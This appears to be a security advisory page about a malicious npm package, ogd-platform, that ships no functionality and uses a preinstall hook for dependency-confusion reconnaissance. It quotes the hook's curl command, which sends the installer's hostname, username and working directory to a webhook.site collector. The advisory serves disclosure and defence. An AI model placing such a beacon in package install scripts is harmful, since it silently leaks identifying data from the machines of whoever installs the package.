ogd-platformnpm
Malicious code in ogd-platform (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package contains only a package.json with a preinstall lifecycle script and ships no actual functionality despite advertising itself as an 'Open Government Data Platform core'. On npm install, the preinstall hook runs curl --data-urlencode "info=$(hostname && whoami && pwd)" against a webhook.site collector URL, sending the installer's hostname, username, and current working directory to an attacker-controlled endpoint. The empty tarball plus recon beacon is the canonical dependency-confusion / namespace-squat reconnaissance shape: an internal build expecting a private ogd-platform package would resolve to this public registry entry and leak host identifiers to the attacker on install.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection